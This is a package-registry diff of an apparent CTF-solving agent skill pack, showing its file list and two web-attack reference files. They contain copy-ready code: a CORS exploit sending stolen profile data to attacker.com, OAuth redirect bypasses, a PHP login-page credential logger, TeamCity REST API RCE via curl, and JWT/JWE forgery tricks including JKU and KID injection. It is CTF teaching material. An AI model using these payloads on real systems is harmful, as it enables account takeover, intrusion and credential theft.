ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,321 @@
1
+ # CTF Web - OAuth, SAML & Infrastructure Auth Attacks
2
+
3
+ ## Table of Contents
4
+ - [OAuth/OIDC Exploitation](#oauthoidc-exploitation)
5
+ - [Open Redirect Token Theft](#open-redirect-token-theft)
6
+ - [OIDC ID Token Manipulation](#oidc-id-token-manipulation)
7
+ - [OAuth State Parameter CSRF](#oauth-state-parameter-csrf)
8
+ - [CORS Misconfiguration](#cors-misconfiguration)
9
+ - [Git History Credential Leakage (Barrier HTB)](#git-history-credential-leakage-barrier-htb)
10
+ - [CI/CD Variable Credential Theft (Barrier HTB)](#cicd-variable-credential-theft-barrier-htb)
11
+ - [Identity Provider API Takeover (Barrier HTB)](#identity-provider-api-takeover-barrier-htb)
12
+ - [SAML SSO Flow Automation (Barrier HTB)](#saml-sso-flow-automation-barrier-htb)
13
+ - [Apache Guacamole Connection Parameter Extraction (Barrier HTB)](#apache-guacamole-connection-parameter-extraction-barrier-htb)
14
+ - [Login Page Poisoning for Credential Harvesting (Watcher HTB)](#login-page-poisoning-for-credential-harvesting-watcher-htb)
15
+ - [TeamCity REST API RCE (Watcher HTB)](#teamcity-rest-api-rce-watcher-htb)
16
+ - [Base64 Decode Leniency and Parameter Override for Signature Bypass (BCTF 2016)](#base64-decode-leniency-and-parameter-override-for-signature-bypass-bctf-2016)
17
+ - [Hash Length Extension Attack (ASIS CTF 2017)](#hash-length-extension-attack-asis-ctf-2017)
18
+
19
+ For JWT/JWE token attacks, see [auth-jwt.md](auth-jwt.md). For general auth bypass and access control, see [auth-and-access.md](auth-and-access.md).
20
+
21
+ ---
22
+
23
+ ## OAuth/OIDC Exploitation
24
+
25
+ ### Open Redirect Token Theft
26
+ ```python
27
+ # OAuth authorization with redirect_uri manipulation
28
+ # If redirect_uri validation is weak, steal tokens via open redirect
29
+ import requests
30
+
31
+ # Step 1: Craft malicious authorization URL
32
+ auth_url = "https://target.com/oauth/authorize"
33
+ params = {
34
+ "client_id": "legitimate_client",
35
+ "redirect_uri": "https://target.com/callback/../@attacker.com", # path traversal
36
+ "response_type": "code",
37
+ "scope": "openid profile"
38
+ }
39
+ # Victim clicks → auth code sent to attacker's server
40
+
41
+ # Common redirect_uri bypasses:
42
+ # https://target.com/callback?next=https://evil.com
43
+ # https://target.com/callback/../@evil.com
44
+ # https://target.com/callback%23@evil.com (fragment)
45
+ # https://target.com/callback/.evil.com
46
+ # https://target.com.evil.com (subdomain)
47
+ ```
48
+
49
+ ### OIDC ID Token Manipulation
50
+ ```python
51
+ # If server accepts unsigned tokens (alg: none)
52
+ import jwt, json, base64
53
+
54
+ token = "eyJ..." # captured ID token
55
+ header, payload, sig = token.split(".")
56
+ # Decode and modify
57
+ payload_data = json.loads(base64.urlsafe_b64decode(payload + "=="))
58
+ payload_data["sub"] = "admin"
59
+ payload_data["email"] = "admin@target.com"
60
+
61
+ # Re-encode with alg:none
62
+ new_header = base64.urlsafe_b64encode(json.dumps({"alg": "none", "typ": "JWT"}).encode()).rstrip(b"=")
63
+ new_payload = base64.urlsafe_b64encode(json.dumps(payload_data).encode()).rstrip(b"=")
64
+ forged = f"{new_header.decode()}.{new_payload.decode()}."
65
+ ```
66
+
67
+ ### OAuth State Parameter CSRF
68
+ ```python
69
+ # Missing or predictable state parameter allows CSRF
70
+ # Attacker initiates OAuth flow, captures callback URL with auth code
71
+ # Sends callback URL to victim → victim's session linked to attacker's OAuth account
72
+
73
+ # Detection: Check if state parameter is:
74
+ # 1. Present in authorization request
75
+ # 2. Validated on callback
76
+ # 3. Bound to user session (not just random)
77
+ ```
78
+
79
+ **Key insight:** OAuth/OIDC (OpenID Connect) attacks typically target redirect_uri validation (open redirect → token theft), token manipulation (alg:none, JWKS injection), or state parameter CSRF. Always test redirect_uri with path traversal, fragment injection, and subdomain tricks.
80
+
81
+ ---
82
+
83
+ ## CORS Misconfiguration
84
+
85
+ ```python
86
+ # Test for reflected Origin
87
+ import requests
88
+
89
+ targets = [
90
+ "https://evil.com",
91
+ "https://target.com.evil.com",
92
+ "null",
93
+ "https://target.com%60.evil.com",
94
+ ]
95
+
96
+ for origin in targets:
97
+ r = requests.get("https://target.com/api/sensitive",
98
+ headers={"Origin": origin})
99
+ acao = r.headers.get("Access-Control-Allow-Origin", "")
100
+ acac = r.headers.get("Access-Control-Allow-Credentials", "")
101
+ if origin in acao or acao == "*":
102
+ print(f"[!] Reflected: {origin} -> ACAO: {acao}, ACAC: {acac}")
103
+ ```
104
+
105
+ ```javascript
106
+ // Exploit: steal data via CORS misconfiguration
107
+ // Host on attacker server, victim visits this page
108
+ fetch('https://target.com/api/user/profile', {
109
+ credentials: 'include'
110
+ }).then(r => r.json()).then(data => {
111
+ fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(data)));
112
+ });
113
+ ```
114
+
115
+ **Key insight:** CORS (Cross-Origin Resource Sharing) is exploitable when `Access-Control-Allow-Origin` reflects the `Origin` header AND `Access-Control-Allow-Credentials: true`. Check for subdomain matching (`*.target.com` accepts `evil-target.com`), null origin acceptance (`sandbox` iframe), and prefix/suffix matching bugs.
116
+
117
+ ---
118
+
119
+ ## Git History Credential Leakage (Barrier HTB)
120
+
121
+ Secrets removed in later commits remain in git history. Search the full diff history for deleted credentials:
122
+ ```bash
123
+ git log --all --oneline
124
+ git show <first_commit>
125
+ # Search all history for a keyword across all branches:
126
+ git log -p --all -S "password"
127
+ ```
128
+
129
+ **Key insight:** `git log -p --all -S "keyword"` searches every commit diff for any string, including deleted secrets. Always check first commits and removed files.
130
+
131
+ ---
132
+
133
+ ## CI/CD Variable Credential Theft (Barrier HTB)
134
+
135
+ CI/CD (Continuous Integration/Continuous Deployment) variable settings store secrets (API tokens, passwords) readable by project admins. These are often admin-level tokens for connected services (authentik, Vault, AWS).
136
+ ```bash
137
+ # GitLab: Settings -> CI/CD -> Variables (visible to project admins)
138
+ # GitHub: Settings -> Secrets and variables -> Actions
139
+ # Jenkins: Manage Jenkins -> Credentials
140
+ ```
141
+
142
+ **Key insight:** CI/CD variables frequently contain service account tokens with elevated privileges. A GitLab project admin can read all CI/CD variables, which may include tokens for identity providers, secret stores, or cloud platforms.
143
+
144
+ ---
145
+
146
+ ## Identity Provider API Takeover (Barrier HTB)
147
+
148
+ Exploits an admin API token for identity providers (authentik, Keycloak, Okta) to take over any user account.
149
+
150
+ **Attack chain:**
151
+ 1. Enumerate users: `GET /api/v3/core/users/`
152
+ 2. Set target user's password: `POST /api/v3/core/users/{pk}/set_password/`
153
+ 3. Check authentication flow stages — if MFA (Multi-Factor Authentication) has `not_configured_action: skip`, it auto-skips when no MFA devices are configured
154
+ 4. Authenticate through flow step-by-step (GET to start stage, POST to submit, follow 302s)
155
+
156
+ **Key insight:** Identity provider admin tokens are the keys to the kingdom. If MFA stages have `not_configured_action: skip`, setting a user's password is sufficient for full account takeover — no MFA bypass needed.
157
+
158
+ ---
159
+
160
+ ## SAML SSO Flow Automation (Barrier HTB)
161
+
162
+ Automates SAML (Security Assertion Markup Language) SSO login for services like Guacamole or internal apps when you control IdP (Identity Provider) credentials.
163
+
164
+ **Steps:**
165
+ 1. Start login flow at the service — capture `SAMLRequest` + `RelayState` from the redirect
166
+ 2. Authenticate with IdP (via API or session)
167
+ 3. Submit IdP's signed `SAMLResponse` + original `RelayState` to service callback
168
+ 4. Extract auth token from state parameter redirect
169
+
170
+ **Key insight:** Preserve `RelayState` through the entire flow — it correlates the callback with the login request. Mismatched `RelayState` causes authentication failure even with a valid `SAMLResponse`.
171
+
172
+ ---
173
+
174
+ ## Apache Guacamole Connection Parameter Extraction (Barrier HTB)
175
+
176
+ Apache Guacamole stores SSH keys, passwords, and connection details in MySQL. Extract them with DB access or an authenticated API token:
177
+ ```bash
178
+ # Via API with auth token
179
+ curl "http://TARGET:8080/guacamole/api/session/data/mysql/connections/1/parameters?token=$TOKEN"
180
+ # Returns: hostname, port, username, private-key, passphrase
181
+ ```
182
+
183
+ ```sql
184
+ -- Via MySQL directly
185
+ SELECT c.connection_name, cp.parameter_name, cp.parameter_value
186
+ FROM guacamole_connection c
187
+ JOIN guacamole_connection_parameter cp ON c.connection_id = cp.connection_id;
188
+ ```
189
+
190
+ **Key insight:** Guacamole connection parameters contain plaintext SSH private keys and passphrases. A single API token or database access exposes credentials for every managed host.
191
+
192
+ ---
193
+
194
+ ## Login Page Poisoning for Credential Harvesting (Watcher HTB)
195
+
196
+ Injects a credential logger into the web app login page to capture plaintext passwords:
197
+ ```php
198
+ // Add after successful login check in index.php:
199
+ $f = fopen('/dev/shm/creds.txt', 'a+');
200
+ fputs($f, "{$_POST['name']}:{$_POST['password']}\n");
201
+ fclose($f);
202
+ ```
203
+
204
+ Wait for automated logins (bots, cron scripts). Check audit logs for frequently-logging-in users — they likely have hardcoded credentials you can harvest.
205
+
206
+ **Key insight:** `/dev/shm/` is a tmpfs mount writable by any user and invisible to most monitoring. Automated services (backup scripts, health checks) often authenticate with elevated credentials on predictable schedules.
207
+
208
+ ---
209
+
210
+ ## TeamCity REST API RCE (Watcher HTB)
211
+
212
+ Exploits TeamCity admin credentials to achieve RCE (Remote Code Execution) through build step injection:
213
+ ```bash
214
+ # 1. Create project
215
+ curl -X POST 'http://HOST:8111/httpAuth/app/rest/projects' \
216
+ -u 'USER:PASS' -H 'Content-Type: application/xml' \
217
+ -d '<newProjectDescription name="pwn" id="pwn"><parentProject locator="id:_Root"/></newProjectDescription>'
218
+
219
+ # 2. Create build config
220
+ curl -X POST 'http://HOST:8111/httpAuth/app/rest/projects/pwn/buildTypes' \
221
+ -u 'USER:PASS' -H 'Content-Type: application/xml' \
222
+ -d '<newBuildTypeDescription name="rce" id="rce"><project id="pwn"/></newBuildTypeDescription>'
223
+
224
+ # 3. Add command-line build step
225
+ curl -X POST 'http://HOST:8111/httpAuth/app/rest/buildTypes/id:rce/steps' \
226
+ -u 'USER:PASS' -H 'Content-Type: application/xml' \
227
+ -d '<step name="cmd" type="simpleRunner"><properties>
228
+ <property name="script.content" value="cat /root/root.txt"/>
229
+ <property name="use.custom.script" value="true"/>
230
+ </properties></step>'
231
+
232
+ # 4. Trigger build
233
+ curl -X POST 'http://HOST:8111/httpAuth/app/rest/buildQueue' \
234
+ -u 'USER:PASS' -H 'Content-Type: application/xml' \
235
+ -d '<build><buildType id="rce"/></build>'
236
+
237
+ # 5. Read build log for output
238
+ curl 'http://HOST:8111/httpAuth/downloadBuildLog.html?buildId=ID' -u 'USER:PASS'
239
+ ```
240
+
241
+ **Key insight:** If build agent runs as root, all build steps execute as root. Check `ps aux` for build agent process ownership. TeamCity REST API provides full project/build management — admin credentials = RCE.
242
+
243
+ ---
244
+
245
+ ## Base64 Decode Leniency and Parameter Override for Signature Bypass (BCTF 2016)
246
+
247
+ Server RSA-signs an order string, then parses `&`-separated parameters. Python's `b64decode()` silently ignores non-base64 characters. Appending `&price=0` after the base64 signature exploits both behaviors:
248
+
249
+ ```python
250
+ # Original signed order: "item=widget&price=100"
251
+ # Server returns: base64(RSA_sign(order)) as signature
252
+
253
+ # Attack: append &price=0 after the signature
254
+ # b64decode("VALID_SIG_BASE64&price=0") silently ignores "&price=0"
255
+ # But the parameter parser sees: item=widget&price=100&price=0
256
+ # Last value wins: price=0
257
+ ```
258
+
259
+ **Key insight:** Gap between what is signed (pre-signature content) and what is parsed (full string including post-signature data), enabled by base64's tolerance for non-alphabet characters. Any system that concatenates signed data with unsigned parameters and uses lenient base64 decoding is vulnerable. Defense: validate signature over the exact bytes being parsed, not a subset.
260
+
261
+ ---
262
+
263
+ ## Hash Length Extension Attack (ASIS CTF 2017)
264
+
265
+ *See also [ctf-crypto/modern-ciphers-2.md — Hash Length Extension Attack (PlaidCTF 2014)](../ctf-crypto/modern-ciphers-2.md#hash-length-extension-attack-plaidctf-2014) for the canonical crypto writeup of the same primitive.*
266
+
267
+ **Pattern:** Merkle-Damgård hash functions (MD5, SHA-1, SHA-256) used as `MAC = H(secret || message)` are vulnerable to length extension. Given `H(secret || message)` and the length of `secret`, an attacker can compute `H(secret || message || padding || extension)` without knowing the secret. The internal hash state at the end of the original digest is sufficient to continue hashing.
268
+
269
+ ```python
270
+ # Vulnerable MAC construction:
271
+ import hashlib
272
+ mac = hashlib.sha256(secret + message).hexdigest()
273
+ # Server sends: mac + message to client, verifies by recomputing H(secret || message)
274
+
275
+ # Attack: extend the message without knowing the secret
276
+ # hashpumpy does the heavy lifting:
277
+ import hashpumpy
278
+
279
+ original_mac = "a1b2c3..." # known hash
280
+ original_msg = b"user=alice" # known message
281
+ secret_len = 16 # known or brute-forced (try 1-100)
282
+ extension = b"&admin=true" # data to append
283
+
284
+ new_mac, new_msg = hashpumpy.hashpump(
285
+ original_mac, # original hexdigest
286
+ original_msg, # original data (without secret)
287
+ extension, # data to append
288
+ secret_len # secret length
289
+ )
290
+
291
+ # new_msg = original_msg + padding + extension
292
+ # new_mac = valid H(secret || new_msg) without knowing secret
293
+ ```
294
+
295
+ ```bash
296
+ # Alternative: hash_extender tool
297
+ hash_extender \
298
+ --data "user=alice" \
299
+ --secret-min 1 --secret-max 50 \
300
+ --append "&admin=true" \
301
+ --signature "a1b2c3..." \
302
+ --format sha256
303
+
304
+ # Or: manual Python with hashpumpy, brute-force secret length
305
+ for length in range(1, 101):
306
+ new_mac, new_msg = hashpumpy.hashpump(orig_mac, orig_msg, extension, length)
307
+ r = requests.get(url, params={"data": new_msg.hex(), "mac": new_mac})
308
+ if "success" in r.text:
309
+ print(f"Secret length: {length}, Flag: {r.text}")
310
+ break
311
+ ```
312
+
313
+ **Padding structure:** Between the original message and the extension, the hash algorithm inserts its standard padding:
314
+ ```text
315
+ original_msg || 0x80 || 0x00...0x00 || length_in_bits (8 bytes big-endian)
316
+ ```
317
+ This padding is part of `new_msg` — the server will verify it as-is.
318
+
319
+ **Vulnerable algorithms:** MD5, SHA-1, SHA-224, SHA-256, SHA-384, SHA-512 (all Merkle-Damgård). **Not vulnerable:** HMAC (uses two separate hash passes), SHA-3/Keccak (sponge construction), BLAKE2/3.
320
+
321
+ **Key insight:** Any Merkle-Damgård hash used as `H(secret || data)` without HMAC construction leaks internal state at the message boundary, enabling arbitrary message extension. Use `hashpumpy` or `hash_extender`. If the secret length is unknown, brute-force it (1-100 is a reasonable range for CTFs) — the valid extension will produce a server-accepted MAC.
@@ -0,0 +1,186 @@
1
+ # CTF Web - JWT & JWE Token Attacks
2
+
3
+ ## Table of Contents
4
+ - [Algorithm None](#algorithm-none)
5
+ - [Algorithm Confusion (RS256 to HS256)](#algorithm-confusion-rs256-to-hs256)
6
+ - [Weak Secret Brute-Force](#weak-secret-brute-force)
7
+ - [Unverified Signature (Crypto-Cat)](#unverified-signature-crypto-cat)
8
+ - [JWK Header Injection (Crypto-Cat)](#jwk-header-injection-crypto-cat)
9
+ - [JKU Header Injection (Crypto-Cat)](#jku-header-injection-crypto-cat)
10
+ - [KID Path Traversal (Crypto-Cat)](#kid-path-traversal-crypto-cat)
11
+ - [JWT Balance Replay (MetaShop Pattern)](#jwt-balance-replay-metashop-pattern)
12
+ - [JWE Token Forgery with Exposed Public Key (UTCTF 2026)](#jwe-token-forgery-with-exposed-public-key-utctf-2026)
13
+ - [AES Cookie Length-Field Truncation + CRC32 Swap (DefCamp 2018)](#aes-cookie-length-field-truncation--crc32-swap-defcamp-2018)
14
+
15
+ For general auth bypass, access control, and session attacks, see [auth-and-access.md](auth-and-access.md). For OAuth/OIDC, SAML, CI/CD credential theft, and infrastructure auth attacks, see [auth-infra.md](auth-infra.md).
16
+
17
+ ---
18
+
19
+ ## Algorithm None
20
+ Remove signature, set `"alg": "none"` in header.
21
+
22
+ ## Algorithm Confusion (RS256 to HS256)
23
+ App accepts both RS256 and HS256, uses public key for both:
24
+ ```javascript
25
+ const jwt = require('jsonwebtoken');
26
+ const publicKey = '-----BEGIN PUBLIC KEY-----\n...\n-----END PUBLIC KEY-----';
27
+ const token = jwt.sign({ username: 'admin' }, publicKey, { algorithm: 'HS256' });
28
+ ```
29
+
30
+ ## Weak Secret Brute-Force
31
+ ```bash
32
+ flask-unsign --decode --cookie "eyJ..."
33
+ hashcat -m 16500 jwt.txt wordlist.txt
34
+ ```
35
+
36
+ ## Unverified Signature (Crypto-Cat)
37
+ Server decodes JWT without verifying the signature. Modify payload claims and re-encode with the original (unchecked) signature:
38
+ ```python
39
+ import jwt, base64, json
40
+
41
+ token = "eyJ..."
42
+ parts = token.split('.')
43
+ payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
44
+ payload['sub'] = 'administrator'
45
+ new_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
46
+ forged = f"{parts[0]}.{new_payload}.{parts[2]}"
47
+ ```
48
+ **Key insight:** Some JWT libraries have separate `decode()` (no verification) and `verify()` functions. If the server uses `decode()` only, the signature is never checked.
49
+
50
+ ## JWK Header Injection (Crypto-Cat)
51
+ Server accepts JWK (JSON Web Key) embedded in JWT header without validation. Sign with attacker-generated RSA key, embed matching public key:
52
+ ```python
53
+ from cryptography.hazmat.primitives.asymmetric import rsa
54
+ from cryptography.hazmat.backends import default_backend
55
+ import jwt, base64
56
+
57
+ private_key = rsa.generate_private_key(65537, 2048, default_backend())
58
+ public_numbers = private_key.public_key().public_numbers()
59
+
60
+ jwk = {
61
+ "kty": "RSA",
62
+ "kid": original_header['kid'],
63
+ "e": base64.urlsafe_b64encode(public_numbers.e.to_bytes(3, 'big')).rstrip(b'=').decode(),
64
+ "n": base64.urlsafe_b64encode(public_numbers.n.to_bytes(256, 'big')).rstrip(b'=').decode()
65
+ }
66
+ forged = jwt.encode({"sub": "administrator"}, private_key, algorithm='RS256', headers={'jwk': jwk})
67
+ ```
68
+ **Key insight:** Server extracts the public key from the token itself instead of using a stored key. Attacker controls both the key and the signature.
69
+
70
+ ## JKU Header Injection (Crypto-Cat)
71
+ Server fetches public key from URL specified in JKU (JSON Key URL) header without URL validation:
72
+ ```python
73
+ # 1. Host JWKS at attacker-controlled URL
74
+ jwks = {"keys": [attacker_jwk]} # POST to webhook.site or attacker server
75
+
76
+ # 2. Forge token pointing to attacker JWKS
77
+ forged = jwt.encode(
78
+ {"sub": "administrator"},
79
+ attacker_private_key,
80
+ algorithm='RS256',
81
+ headers={'jku': 'https://attacker.com/.well-known/jwks.json'}
82
+ )
83
+ ```
84
+ **Key insight:** Combines SSRF with token forgery. Server makes an outbound request to fetch the key, trusting whatever URL the token specifies.
85
+
86
+ ## KID Path Traversal (Crypto-Cat)
87
+ KID (Key ID) header used in file path construction for key lookup. Point to predictable file:
88
+ ```python
89
+ # /dev/null returns empty bytes -> HMAC key is empty string
90
+ forged = jwt.encode(
91
+ {"sub": "administrator"},
92
+ '', # Empty string as secret
93
+ algorithm='HS256',
94
+ headers={"kid": "../../../dev/null"}
95
+ )
96
+ ```
97
+ **Variants:**
98
+ - `../../../dev/null` → empty key
99
+ - `../../../proc/sys/kernel/hostname` → predictable key content
100
+ - SQL injection in KID: `' UNION SELECT 'known-secret' --` (if KID queries a database)
101
+
102
+ **Key insight:** KID is meant to select which key to use for verification. When used in file paths or SQL queries without sanitization, it becomes an injection vector.
103
+
104
+ ## JWT Balance Replay (MetaShop Pattern)
105
+ 1. Sign up → get JWT with balance=$100 (save this JWT)
106
+ 2. Buy items → balance drops to $0
107
+ 3. Replace cookie with saved JWT (balance back to $100)
108
+ 4. Return all items → server adds prices to JWT's $100 balance
109
+ 5. Repeat until balance exceeds target price
110
+
111
+ **Key insight:** Server trusts the balance in the JWT for return calculations but doesn't cross-check purchase history.
112
+
113
+ ## JWE Token Forgery with Exposed Public Key (UTCTF 2026)
114
+
115
+ **Pattern (Break the Bank):** Application uses JWE (JSON Web Encryption) tokens instead of JWT. Public RSA key is exposed (e.g., via `/api/key`, `.well-known/jwks.json`, or in page source). Server decrypts JWE tokens with its private key — attacker encrypts forged claims with the public key.
116
+
117
+ **Key difference from JWT:** JWE tokens are **encrypted** (confidential), not just signed. The server decrypts them. If you have the public key, you can encrypt arbitrary claims that the server will trust.
118
+
119
+ ```python
120
+ from jwcrypto import jwk, jwe
121
+ import json
122
+
123
+ # 1. Fetch the server's public key
124
+ # GET /api/key or extract from JWKS endpoint
125
+ public_key_pem = """-----BEGIN PUBLIC KEY-----
126
+ MIIBIjANBgkq...
127
+ -----END PUBLIC KEY-----"""
128
+
129
+ # 2. Create JWK from public key
130
+ key = jwk.JWK.from_pem(public_key_pem.encode())
131
+
132
+ # 3. Forge claims (e.g., set balance to 999999)
133
+ forged_claims = {
134
+ "sub": "attacker",
135
+ "balance": 999999,
136
+ "role": "admin"
137
+ }
138
+
139
+ # 4. Encrypt with server's public key
140
+ token = jwe.JWE(
141
+ json.dumps(forged_claims).encode(),
142
+ recipient=key,
143
+ protected=json.dumps({
144
+ "alg": "RSA-OAEP-256", # or RSA-OAEP, RSA1_5
145
+ "enc": "A256GCM" # or A128CBC-HS256
146
+ })
147
+ )
148
+ forged_jwe = token.serialize(compact=True)
149
+ # 5. Send forged token as cookie/header
150
+ ```
151
+
152
